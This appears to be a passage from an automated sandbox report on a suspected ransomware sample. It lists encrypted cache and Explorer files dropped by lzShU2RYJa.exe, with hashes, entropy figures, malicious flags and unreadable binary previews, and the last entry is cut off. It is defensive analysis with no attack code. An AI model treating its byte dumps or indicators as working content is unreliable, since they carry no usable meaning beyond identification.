Preview:	.w.. ....n...A.-.'.d...+.... ..m...Gl]Ze..........P.z?......Z<.s _....k...........o.&.....cp..R\|R..=ey.XKNyndw....._..5.-..j.$-k..u.].(R.6......w...t..nQ.".G.LV.OE.....&E.~4u..'..]F[2.:-&<:.]....N?M..//>..)./....x..W.........W....T..9.).U.k.G..4...0..w..B3..D.vDkx,..P..c.)7.D\Y.ek.-.JI./....J8RmD....E...........3..fV4c.S..y....>.............2.`R:..^..8...0...u<.........R.\|.$%.8H.j..B.h..su_\|T..D.%^........@.Pt....\|..U.(.+a...n...pi._/n.W.5.7.4Po.H.h-e.$.......:ul.KW.Q..&Q.nP.~.9.$60...P.K.!....B.#.]"C..SaF....x&..>>5.X.3....F.\|,(..1Q(D..,..?...43H.&...;V..}0..n.N.}t!'.(..F~....s....L....q.Q..(...W..-.\|F.6..@..m?E./.....'?......#...j.)..2Q..V.....E...5..OV1HD..Z..R......\<=.q........J..OYr..3;.r..@(.uS`..d.c....7w.~}.>....D.....P;.3#Hx_g....._....)Y..OD....o...4.u!.Q>u.{Z.....x.~.........0sZn..z8..3.....0..A#..>.[.8s..S...6..)By.}...U.=...8ygR).G.I..a..9oKb..!^...Z.iq..<.{...^5..&.k...o .u.d.9...b../GA.WO...#...&b........b+..p.&'..:.,..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998104544068891
Encrypted:	true
SSDEEP:	3072:LdbCrTfQW+S9oH55irKCuOk99kGKmObIV/XXS+EdT:L6T4SaQuy/hb6/nS7p
MD5:	C77F84CE96F388568F84D91135EFA125
SHA1:	58789A6C88C69B7D5AB6908EEFD14D562ADB87C6
SHA-256:	673AC1162DA667D29901064ABC11ABB45265035880EF63139FD8E4E91F5984FD
SHA-512:	1C2D9A9796D1BD9D20F531F4638F6C9DF94F5B39E368640DED4BB1BC88B6C95276FA48B3FF665303B0A79B40D37F6DD7181C3D666EAF5573AE05F7491B1D74E4
Malicious:	true
Preview:	....h...Kr....];..c..v.F;&...-.\.........L...]WJ..4...%.q...;.E.Bs.=....y.........U.NP@.)". ?..VS'.`k\|Z....e+..e`...yX..._.....I.".Gw......_. R........~2...&.7..`..e.QwP(...H..]....N........o8..M...jZ.(.\|.o.[...........T<I-ygnY8\|..R..T.&...r.6M.Ds5Kz.So.{..aA..NM....F.O.:.3.7s..o.t......\..<Xj\.&..-C.....I.>.!..h.fm.q$.t$Q...u..j.u.7r8.g19....V..m..L..<.K\|.c.=.2.."..;...VLK.gC..Q_e......"....T.I....U.6.....s1h..i..j.J...C....z...'...X0.,.K3a\...q..=Eb_.~m..?.p....-K(.>..R.~V1...u.Mf.....]....r...?..b."Kk.n.Aez.?.Oh.....\...}@`.=(.L.e..#.fL...S....i!......Z.../[.U..FW.L...C.}.....?N.='Q)..v.?OB.z....nBQ....&....#Ir..!........7.....c.^..;........H1.=l..yLV.eM..--..n.b.?"~.)h{"...+.]-.A...3.U..n.....l...\|..Qs...0...........^.+2b_.z+..?._.H......Y?F....M=.ufX.# .ikly .../]\......}.Z)...n..k...{1..E....f.IF..C.\|..e..4..l...Z.Q...N.....y).d.F..WPLP.............@.;.....7U4.'.9........).L&g,..Wr.P.....5a...9c.3Fc,.Y...^0.......C.n...=.;;..3.VY.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.997955883324817
Encrypted:	true
SSDEEP:	1536:nvxcAbu3PvhyOuLaDX73BtiqNPS4X95us4JSkW7hblYuYMC+NdVbo3UUStFX:nnb+nhILaDX7B0qNPFX95xptXYGvU/m
MD5:	3787A0E67D23D745F1E47180F9F74DB3
SHA1:	9D61278258CC9FFE4C43ABC2F7A1675906C0786A
SHA-256:	8B563C2ABB25F901347D5A6DE01EC38BA14C1063994AA40886ADC37D145CB121
SHA-512:	F9C20B5E74F5ED5EBE31505463576354F34171AD0D5DE87242EF7EE320E3720BAFBAE8ADB22A37BD9565F1EE46E55C97C771310E47232B0AD1E0EF9052791BBD
Malicious:	true
Preview:	....h.C.1K.......?H.dk.i,..^........oi.k._@...WNSi.=...:g.&]..R.#..s..csu..~..G..L....;1;.....K.<!..0`.."\:hy..5.A..a.........../.u0..R..h...H...V{.... .a..5....).e..........]k`....}AA.4d.m..zO...J"..1&=5..&.,4...s......MD.....?.j.C....a.....$K....^Xs.#rM...5n..\|..u..1.z.Q..q......9......d.jU..c.E.....8.Q...3..w..}...'.i..Fit.K.L.~....r.......(L.]'.6..x..,.....3=.......Q.&4..8h.....}........_<>...XP....7E.......).{{>......x..X.X........}.....n....}..I#.W..^......_8...G.;,.Q.......+L.....@..Z.z1.k...q.).....,.]V...6.....-...........Tm...(..y27......g...i.....R'.1W...35P...Y.l...(. ...V.........S,n......#..g.....]..q....]I...!..`..E.D..5.?({....C..K...7.a.&.......VW#g-. .7.y.{.^Ng.>.E....va...:NJ!...v.....~..B.)x....<.im......;:...].....n.3.F6..X..EO.v..%'.J...J..L.{..e.u.u.....t'.xG.Dq.....zp.......o./....Mzt..1...IX.....^.h.....^.o.>...d.8t...!.%.y.............>'...,...."?.y.)...a..N-6..........!Iw...x...Y..1....)..o.9.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.9966685734746585
Encrypted:	true
SSDEEP:	768:TZqGn3AfEufu3z7MqVyA7Pyaq3b/jfZh47hYRp+8aTg0IqYVmZv+wBjQn/:ANEJ4o1Tydn4VYRxUlRYVmd+WQn/
MD5:	20ED876BB16317A62B656652133A76D5
SHA1:	E0CB1C9ADDA27C9AA8AFBDA544A3D21E373F8CE7
SHA-256:	91C635456AD63594C7CEABB99007BC44EA97FB47710461AC0EAF3A27A664C327
SHA-512:	C90FF85A0CBF373BCFEC807F5B5B63F6035B713F806B34FD58D21A1E496316B9EB98E2DDEFBF38C08FA7A3C7B0CC8B6768E189FECD30D467A086C896DBCBEC5D
Malicious:	true
Preview:	......s.r......a.C...]...?.H.d...5.T.gR...Z......U..6.T...@].T`'.kD..s..f..a..`3..nCU..A....Ht.t......Yi...8.8A2....7w....].y2..k.-.S.z8.j}.....x...s.........OU.sqI....C...... }......+u...L.m..._~p.d..Q..\....n.&.....`..!....1.Y=jm.....3.....dw<.m.S..a..BR\|...cU.p....;6.....ZjF...J.....1.M).i...._........+.....z..=..bj.....jw .Fe..4.9J..c.p_..V...P.DG...6..B..A...t..b...H#.R.%s.!...ub..$"2.....o.<j..mP.=..(t}7.5.<....Y.........I.......aj#..m....jj.$.!l.!..).OT...z.n...x.O.ri.?YGa3....7..x..%6q.!.A......{x..v.l4-.>...[F..;.....m.`.-....U...I..F..V&\...h.c..=$<J_.....`.. #[.,D...-..D.!....S5h.Q..`n..'?.-.....,..`\[..$..>q..\|T..M<.\.:x\|.0)._..n....f..f.<.J.......U......$$_.[....."...&,.R...?....{..S..1..p..y..R..........N.R...*.;..g..G..g....3L...O........G....W.x..@!L.7-.e.[....P..(.L..sm.Zt......o.....lq..K...j....O.`.i5........g1....R......r}.Qd..Y.&..4.?...z...U>....v...h.........d.w...z...{.....0F..2FlP!.p0....(....po.Q@..r..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997674237299572
Encrypted:	true
SSDEEP:	1536:UrWjOHyoXjYNyP91ckMmA29kqmj9+W4koYmlRlEfSSE4s:UrWCZF1BPyqmj97/ZmhtPp
MD5:	8CCA6904ED31BD4268579B499BFFB562
SHA1:	846F870008CE4E37163005F849A76303F44997A6
SHA-256:	53B7EE39AFA0D5346F7AD3C382EA4A56C101EDBE4E754FDFCEF1F9BC8F9EC476
SHA-512:	2B067A4837F51025DC35E7AC1DECF836F8AC67BC810FE3C4AB2EDC1810C2FD89A05B6B7CCDAD335A55338118A85B4B41B7D30678D28DF58D6817C587C7B90319
Malicious:	true
Preview:	.....}..d1J..\|...g....2....bd.......{...z....e.z.K".J0....N.AA....}.&....\....".q....G>r.~.....=%~..>.-..KB........@.p.....RKi..`..(%..(@c...f.........$...M..j..6n..Or2..Y.zN....c.yB..t-c.....umz.k.....^6.xg.W.or....tU. &.0.r....\|&J.e....(2....V....A)......Q...W<...9{...\|.w_.c.1.%...I...!..'.C`...`!......y.p...:..n.m.=..`k......;._..k....ZzN..5.cI..cj...~.S..u.H.......P....9...R.`.F....nD=7..".%7.3....D.V`/y..BlUl......e..66S.....4.Mr..q.4.X.......R....<....::YN......u.j.\|..2`.......n8k.c.......@5P.b..I...e,$..v..}..b.R..".WS.7..+....\.?..........(]d..N..-..yH=.Wf.Y....9...p.y.XCh.p.z....b..]..c...]..n.H.o..v..5Dug...Nt.Y.p,..6.....o.Y.:.........".:..(6...p%..:..D..,R.Q...'....33e.H.T.M...@W...m..q..!.....WKl........K/.._....U...3..w.....)4..h........g..6F...X%7.}.{8......?..o,.!/F....!.>D.g...6.L..\......C.......c..g..hp....G.P..q.o<..jw....+.Fw.tJ0v!.U[.R.\_...XC#.EM.....4R...h.IG..+.."..S._&h:/D.tvM.....>E.I.O....4t....C..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818731898806871
Encrypted:	false
SSDEEP:	6144:P45tV5AjYY/o9rP2M+lR3h3IL1/kuSjH9QYG6WcS:+0zAZc3R3+1/tSjH9QYTS
MD5:	1E9BCD912CCD88C19F1AF678EC878F14
SHA1:	DE12274D415C930DFEE6055E4802361716F1B548
SHA-256:	B7D5C2842C4F08C2B2317D60E2C0C14BBB46AC0AFA8D8362EAABF74911D84EA0
SHA-512:	96CE82DB85F8A86682B18B2D9BF93E9CF03ED359488F5EC0A1EEB809D594091D3473278D83C31C835367EF8415128E1D271D18E45509790C7329221111B4EEB3
Malicious:	false
Preview:	. ...$".....z..3....>..DI$../w...t....Twm.KR.(..7..7_...W<.CLw...l,....h..^..&`O.!.t..[1I~.}]T....#...c+....\|..g.M...$`..ye.p.u^.T8....Yx.......W.3..J..07php........7{...7...6..z ("...'-9d.Hn..2<5..Z..T.r. .E..a.$......i.."s..^..B.>.AW..K....{...H`......5..X..u.GVdk`i._rT\.t....]Wp.Z^.+2.. ...P.g......+.a...c^e.....v(.L.KC........bK....Q...i>_.......3$..q..^.......I..i.g$7.}.(\|.^.....F:.4K.......r.f...^0X..jk..M.3..........Y.........G]..wR_+)N...DD&..42...B;..'.~..q..I.n..`.q...PC..A.`........h......Fo.t.j..0.D._ku.....q.5....Ln.d@...F...A...t.j...\.rJ.....>.'.....jf<..5....B....M..z....L....J......m,.v..=s...D..C@....-.....5...X).p.._.!xan.k..S..fVy...S..].0Y.....^...Y.E...h..5m.../...#...J.G._O...h5.y..N.l.....O.....y..l$.M..._..>...._......l...........N4.T+..I0!...e..4<..<....fs.."....T..C.2.03.k:.....g.`..:fs&..Di^e.ySJp.IRH.FMk....r+.Z..,..P-.a.c.....Y..hw.%.~..e\|Wq.l6;...:....`...Md....6.......Tie.T..flh..B.1.x.....c.;bk\.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99359275554164
Encrypted:	true
SSDEEP:	384:QXZdYz5HJgXCxIfiqJCINy0p9J95u9C3X/B1GWP5FlJa+JzLPd9GfXA9tQy:GIzIXCS553vPBP5bJRJHPdQfQcy
MD5:	D89AB8FED0587C1053FA1CB96E3F6020
SHA1:	EEDEF182A158998A049D0FC3AF3B31DFA827EFF3
SHA-256:	699423F3A126FFE2812C3CB751D8EFE2D283E5C8623EE6E0C69A7E90AEA32917
SHA-512:	9C03621030DE9C7972CE09A1AC50779899EC14F19314EA19A873C55EA673860F22B55E581C25F7B533B6E817FD51218E2C6510AFD75CA45669976440FA00601F
Malicious:	true
Preview:	. ....w.......7.........3V.!..z...K.d.....p>(......^....iT'e7.d......WE...E.......r.......-.?..Eg...!......c..]+..\|%....k..q.Dn..#n.Q.t....22.F.....?..>.3..\;>.%6T..q.........:b.gA.......JG....=.A!.._...W.....2..D._...Kw.H...........vB.N...s'.U....\|.k>.cUI..5v...\.....8...+.....wGT...C....0x..d...i..<..bOd....8u.......&..W ..e..9..U...I.u.....\|..WO......QLf..,.e.:m"...#.31.<.N...n.....]u..lj........N..W..#...oH;.......s.1....,q.%Y.?..SxP..w...._.....<@...y..Y..........k.7=M..L..E\c..ZX./..WZ.'.s]..x.7.e..E.....P.Y)L\|...s....6....o+..(c..Aw..%....5."M......Y.P...p.......^3...Hoa/.!.....0..........o.P\?.^.m...Q}.......@.e/.....].E..?....&.I.!o.+w.PD.}.......>.. <tJO....H.\..{ogE...{.A........,.SDG....f..^..jy...<..g.(nKE[.....E..BZ..{.)=......f....-.../.q.Y......lo....Q...I+.I.p.0.c.SX.Y..*L.'F0)..Bv....T9...F..\....<...h3.Ko\...1.....D.....~.i].....J..w...S..6.E.$.o.G...q...!R..F13.a.Op.^.bk.......r?...u.].Wx.d'.l....._.J}...]7....

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.226532310968263
Encrypted:	false
SSDEEP:	6:M74DtcwJLLU3FCcpQ3KnHguhizi/QEbkXRAXPsw7l3h/+fvbtoQzjhPcii96Z:xc3ppHnAugpEbBkw7lWeijVcii9a
MD5:	01020E57C35E5AD0D9F54CB11A45C2A7
SHA1:	C3BFE4186244BD9A9144BBCE676DD8E349FB5359
SHA-256:	04A2B1AF7443F6D983877A626FA9BED5C3140FFA178922B4018014684411A043
SHA-512:	0AA10567C4516293FEB1E85AA7AE2214CE858EB6A72C7B9534FA70B937540E1E93C0B7A11C0D692B27A633B512ABBB59CEE0185566C50E2F03E726D8FD512DDB
Malicious:	false
Preview:	CMMM ..........%JG..G..lS(S..:..Ur.6\......L...3.R....Q(.......Dp...e^v...@HI.s,..y.D...%....j.-........7yiMM(.\..m...ok.........I.W.h..O[."b^.FdIO23...-...-.C:......M........isZ..3G.o>..y..LO..J...LAF.0....l..}"D..^..0..k.P..Vh.<.#.].........qj2K..a...[...jf.!~....s.#.<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.242903915752014
Encrypted:	false
SSDEEP:	6:MTNJa8nZEOAGKPFeMOpB8O0r2AfZVWXFY7mKbBGJFQTfCMStG0SROJzjhPcii96Z:AzZnAGUYBf0XfZWFxKWFQDjStG0iOxj9
MD5:	F2F17014BF141B02C318E254CD4A8271
SHA1:	5B7CB05EA13DF117F82696F93F36214B5F70D34F
SHA-256:	EB0CCC2DF2E2C322235D9725F9BD80DAC9F08E0B74EAC39B73F5CC5B421AA9B6
SHA-512:	C5DAE733C1397E31A6DAB8F9A6FFC94540399003F5F6FEC5858101A11E127DBED18AD074DF70C4BD6635D51B677B870B4BECCEDB768F321231AD16665C172139
Malicious:	false
Preview:	CMMM u.].(.fh...m`.l..C..z ...C...TD..D.8...0B,c..z...7 <..@..R{F....H.H\T........P..?e..Q.CjGH].O.9'A..`E}v'Of%..3.H....._....XH.X..9.#0P=ygy.F...R.(..Z.2G\|.....1...f...D.......g....D.'C.A...Q<.,x_J..o.>.$#.,....p......m...Q......MC..0.V....].\|..).#..^. ..4J.....S..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.203446661508793
Encrypted:	false
SSDEEP:	6:NdyIr3De//8jGg7ZQ0PhzSzoCqul2EVlxQjCEcnG440JCODQnMzjhPcii96Z:m6S/knZQ2hez2ulBVlxQjCQrOEnejVcq
MD5:	3EEF75B09A058B7B3D696749F2AA0425
SHA1:	AD2A8D8C998627082896173B3AEF019B1CD9D169
SHA-256:	B400C4C5D2FA5A959FD95C2C1EFC791415C504C29C3F8D0CBBC3200877AD20E6
SHA-512:	CFE267591F47BCF69E5EF0C231EB7B711B5140B259EE5C417B0415A68BE4224D21623F978767C77D5D370C0CD9C37060213B91587693DE5BF96623CEACCD5590
Malicious:	false
Preview:	CMMM ...V.......Dq.....sL...W..pTW=..1.o}.I..#. ..r_.......f.F..O.8......U. ~....A......y..5.(d.....^>,.XMD?tQ...=..XV1..M.98#3....9.$#c:..E.;.D.E..R..a.....2.<...(CQ.N.Ng>.#.L{.U.,N3.......Tp..r..T..R....Z.D.].6i..ZJ/...'.'.).......y4;..kF`.l...... .....W...^Y..;b-W...>fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.262765125595275
Encrypted:	false
SSDEEP:	6:lB7HEdfF9bZ8vA/4+UIFwzPrDAC5YySn1GI7n6Y0TdIpRaNmMazjhPcii96Z:wd42+PDJSnMIz67TkR0AjVcii9a
MD5:	729F3433395A7EEC38DDA8AB6BA1D860
SHA1:	2065B7FBB1FA4B3AF3189EC533A86F586C654F3D
SHA-256:	85A3DC92AF920114A3D9679B6F2F6AF2DE6B9EA27AF573CC9F92FCA4DAE71A3F
SHA-512:	CABABED8365AD41910C85F1F76AB69433AEC49E363AD077FB3F914634EC97EF56604C806E5D139ED10993DF0A1F84689137605EAE1698863A02585B91F81606C
Malicious:	false
Preview:	CMMM f.N...c..&............6....:.[o...fC..FG..1.....V&}`.....E..s.f .1...).,...\|..,G8Y;.DNI.R.1..}$.^....:..^.WL.).DN{....V&[...." ;+.,.m8u.X.V...sp<.I.J.4.vZa.^.(n.......<.W;..U>).+0t-......c>K4h.\X.N.gJFb......D....za..<"L.<.R..S.Ar.F.7..~S...... .....j.;.....}...}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285985418552466
Encrypted:	false
SSDEEP:	6:9DhtAQkcJOgjfZmtym/ce911CyczCIh5bAwlDPpiWW6dp3yvPbJzjhPcii96Z:Bk7g8tym/c0/CyCCi9AuDPpiD6uvTxj9
MD5:	AAA84BB11DA853F96811ED1709F87B63
SHA1:	997DB1D2DB414970CD6899EAE7F192B4C704A3E3
SHA-256:	D30C9330BD254966858D3934251BC9F9E753A1FB2BD822877B89D82B3DCCBD1E
SHA-512:	63847AB236C50B40BEEC21F0977CADB14523F16D2D164751D4EF9181768365E3A2166DFA06985E6CF38EA9E08661A540B4C2099421A1FAD9DEA9DFD80DB0CE76
Malicious:	false
Preview:	CMMM .x....M}. .I.>..d-.9.1).D........ZnH...,./}......;.(.<...........l.W}.]E.*.p48.v.l.'C.P.......U?....=..!..;..$SK....bU.-.u..j.....((...Z.....Y.;..;K.VOq{....(.M..Uo........:.7I.."x.rj.%....g..V........y.z.w.~..3Y..O?.........W.E........9g..w.aM...t./..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.326630643268876
Encrypted:	false
SSDEEP:	6:l2ItmLld4cQIkO3uD7TQhFFTE98TdvClakAufH7J2GVSFQMzjhPcii96Z:UI4IbIanTQhFFsK2wqJ2GMFQejVcii9a
MD5:	BC985CD02257633AE4BD03B6BA286EA6
SHA1:	08760669FD6ABC6DA1F545AF501C55B40490CDB5
SHA-256:	A288E3AEF9FC78BD17654114405C6B13D347F7D0AE6D35B35DEE9244BBB5D1B3
SHA-512:	701C79E3D27D909B2212F74913628B7AD6A7075CBA7D0750429076924E380B822D89B82F95A28B0BCB3FA2D9097AA79637C5C7AE02B3C26977CB9BC767181DA6
Malicious:	false
Preview:	CMMM .\|.&..V....}...%LB....:..i...l....V...-..]...w.m..%..n.x... x.x.=z.u...[.<......l;#..4..M.$.."X...c.!..............g.X.....bw..!........&+}......f..C....f.V..C.O.N..m..t....9_Lc...6....L.T...p5...v..WaC....o....$..7S.i..g."..?v...IO.[(.......t.m....yk... itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.284514521763856
Encrypted:	false
SSDEEP:	6:u85nEB6btSOvhqsN+dInO2RUAoYrX/o9pH1T4wzjhPcii96Z:u85neet9jN+XzAi9rNjVcii9a
MD5:	F0E74FEFFFF04F44A616915F42E5312D
SHA1:	AE88118DE8269C6F7CDB2AEF163E035364FAE42B
SHA-256:	74C457E2DBFD1021A3577EED35C1C91FEE8ED787E33DD9164F6E4F930BA14938
SHA-512:	47DB84189E693C617CD6CBACF6789C8557BE98DF6AFA1F091E573E70DBB3E57753154740497E61D098C44DBA6468360C1D5053022B7BD3B1785F4DBC9B989591
Malicious:	false
Preview:	CMMM ?)...M.'.....E....t+....n.K..my..]...6..WV.........E.B...4P02.uU.....&...k/..g.......Z.F.9.h.Tp..:A..'..I.Vn..p........m..k.f.l#._.\|.5~[.*$...p.".K..T......^e.`.O.t.0...s.3.Z......._.....8.y3a... Wi7..q..S6..#U....I&....e.........z..P....w...@c~..s.KYd.CVg..2....Tlitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.310221975724388
Encrypted:	false
SSDEEP:	6:c1rP2xYFHsLxNWo76LL8hoOILP2FxX8ZR0lE0LorPgOF5r1zjhPcii96Z:c16iGVNWo7EL8iOgP2FxMv0VLcPp5pj9
MD5:	A459F2F153EEFCA71AC6D6379B10642C
SHA1:	96C7EE65AE3288676DEB3BB24E725AECF62A5942
SHA-256:	25085005BAA084A93D82F607FF0B7AE7FFF1040909A67AD97FE0A6FC8DD4E2A1
SHA-512:	242B59A078113D45BAB91AE66DA5DD7BB749543B41206583084F8E766A526D8F256103589A92484CFE000D0F023CB41A0BA3A2126E73B5741A7D2D7AC996FE8B
Malicious:	false
Preview:	CMMM 0..b..+...;.iQ.%xZ.?7..s;m.R...6.j...w..............h.9..7....W.......o$..>c...l.+...0......-....9z..(.@.v..Gs.;v-.}........'4(C......2....M.. .....G\..U..?.)I......D=+..I_`...xz..t.L....N....p........h.g...V....-..U\|...s.W.sYt.Z......:7....(.H.Y..VI..J.5.S.K..*....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256492105948196
Encrypted:	false
SSDEEP:	6:ITzXMVs8VOucGUKbkv+8B46mfC2oyOkGJsb9SE75JJzpSmxwjZh+a1MzjhPcii9a:ITqVG0fGsGdsb8E75npSz+OejVcii9a
MD5:	F112E40E87E7D59E927252B88E0EF06D
SHA1:	D05C905944F5F5C749403E5097DAC3CA62610197
SHA-256:	6AEF3E0B6969A7EDEC4FFDF50CC69488ED29BC2AD4F78E7341F544818919C086
SHA-512:	54DB403988F312CEF20EA5EEF165DFA1215ADDA59ED15B829651A94A5C85E5F0DDAC25C11F04B9E673C64018925C9445260B937F69F43BDEFF56ADEEA58DD544
Malicious:	false
Preview:	CMMM _..J.Q...)..w....@.O...-.\......nn.!.x.....h..#6.%.K..........u6...oe....}.....C9.....YR.6.].nr.p...Rpt.de..2&.\|.ayn.P.T...9..Q..6......~..9...H.T(xPu..;=.,.g..O.-...,..x...Cu.#.?..E.nJ..i...}.[.w...c..TA....$tw.X...?.?...]x..b!...0.`.2.D5..^7?..Fnh\|?8...h..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2652309825784736
Encrypted:	false
SSDEEP:	6:6m0vMP8QIOgOxuh3dXXkfh9Nc+BrsEyDl60U4bQwfHnqKdStJvt4BzjhPcii96Z:6zUBgoul5mXcHpDhhbQwfRdSjl45jVcq
MD5:	505963DA4BF4E0D062BDCDD183903CF2
SHA1:	159B2F95425B11988638FFD608D8D929DA8F6FE7
SHA-256:	8F02D2378B0BD3B7053E6DF05BFC221169BCAECB6DE19E69D43C83521E38AE45
SHA-512:	A49AE893EA975D1DF7A1C47A33D2CCEA35CDFBB6BD9E22918E4AB4250D5527C06486FF084AEEB09DA433A633B5FCC6C109C8AD27427E6995A3E7FBF488CCCE2E
Malicious:	false
Preview:	CMMM _.oz.._l.JC......$.MueB,.F=l..L..JH ...A...p..q..!.DP\]..v2sb."..n..H.+N.}.6.C.S..(....v..%5.....k....e..3......]......Y,....h...$..w.&%S...:../..i........,W...n.&......Ps..Y..@..0...Bv:.FAM..{{.s....]..X.}.]u.........>.........\|...+..y.f.V.>.O.........L ....JQitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.228603872515245
Encrypted:	false
SSDEEP:	6:IdQRGdldvh6GwjAlT4hvzhe+YF07KjzMHoa8NMqj5QMzjhPcii96Z:gbdldZ3wEt/+Y+hItmOiejVcii9a
MD5:	06C5D1EC737457D6CC2A0DDE251D3850
SHA1:	F35F69CF851044CB9217E371671BC62A2C2EF3EB
SHA-256:	20AE889DB05BCF5C52A17F318C7AB51251DB1F8E7F580BE1837EB484E991F7C6
SHA-512:	6D7D1278D23756102D767CA30447A1E04AE493C94F37981B9C1C20AC21AFB6AC6EA4037731FB6076DA243F5C77174F7F1D9CE017CA5E7A568FFBC5419EAEC634
Malicious:	false
Preview:	CMMM h.6.4.M..I85IYK.>c..X1...r..=U=....m.."....x..7..}..c....2f0>&.b_?.(?..$....h.b(.....b.D..=..GN~..+..'U.......^.Q...d.6....6',".9.......AXt.$_.._yY.Orm.Y..(3.rC.s...........;..!.g..g8bk..^o-..@U.c.....@.Bo....\|...}....+..Q.tU.!.)5...N.I.7....>E%9..f..N.8.j.a...S-..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328395823284937
Encrypted:	false
SSDEEP:	6:qpOgg0aAmcDCk24t6LJ922gtoFf7vV0s2j1ZKkgOu2y1H1zjhPcii96Z:qJg0auDJHAJ922gcTd0s2XKplVHjVciD
MD5:	923A29CDA5B874EA693B0FFD4102CE20
SHA1:	DFA10D2ECF8C76A3E469A79544FEE4CE4B6D7211
SHA-256:	5379E5D71CE6970B3FD39E086AC4755D78BF3D3E890AD6484027826D4E3C7796
